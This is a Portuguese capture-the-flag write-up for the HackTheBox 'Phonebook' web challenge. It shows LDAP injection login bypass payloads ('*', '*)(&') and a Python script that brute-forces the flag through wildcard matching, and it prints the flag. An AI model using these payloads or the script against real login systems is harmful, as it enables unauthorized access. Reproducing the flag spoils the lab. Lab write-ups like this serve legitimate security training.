O desafio Phonebook permite que você explore a vulnerabilidade de Injeção LDAP e Ataque de Força Bruta no Login.

💡 Informações sobre o Desafio

Creator Challenge Web Difficulty Points Flag
vajkdry Phonebook 🟢 EASY 30 HTB{d1rectory_h4xx0r_is_k00l}

🔨 Ferramentas Utilizadas

💀 Vulnerabilidade Encontrada

LDAP Injection
OWASP PortSwigger CWE-90 : CWE-116 CAPEC-136 GitHub

📑 Passo a Passo

01 - Passo

Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://104.248.173.13:32327/login

Observe a dica na página de login :

  • Inglês : New (9.8.2020): You can now login using the workstation username and password! - Reese
  • Português : Novo (9.8.2020): Agora você pode fazer login usando o nome de usuário e a senha da estação de trabalho! - Reese

02 - Passo

Informe um * (asterisco) nos campos de Usuário e Senha, e clique em Login.


Login realizado com sucesso! 👍

03 - Passo

Uma alternativa de bypass no login seria processar a seguinte consulta no back-end :

Neste caso a consulta LDAP seria desta forma :

(&(username= *)(& )(password= *)(& ))

Informe os caracteres *)(& nos campos de Usuário e Senha, e clique em Login.


Login realizado com sucesso! 👍


No campo Search pesquise pela letra A para exibir todos os resultados.


Pode pesquisar pelo usuário Reese.

04 - Passo

Para obtermos a Flag é necessário realizar um ataque de Brute Force.

📝 exploit.py

import requests
import string

headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://104.248.173.13:32327/login"

chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])

counter = 0
flag = "HTB{"

while True:
    if counter == len(chars):
        print(flag + "}")
        break

    # Criando as Flags ex: HTB{a*}
    password = flag + chars[counter] + "*}"
    print("Trying: " + password)

    data = {"username" : "Reese", "password" : password}
    response = requests.post(url, headers=headers, data=data)
    
    if (response.url != url + "?message=Authentication%20failed"):
        flag += chars[counter]
        counter = 0
    else:
        counter += 1

05 - Passo

Informe os dados :

  • Usuário : Reese
  • Senha : HTB{d1rectory_h4xx0r_is_k00l}

Login realizado com sucesso! 👍



👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  HackTheBox

© 2025 - 100SECURITY

Contato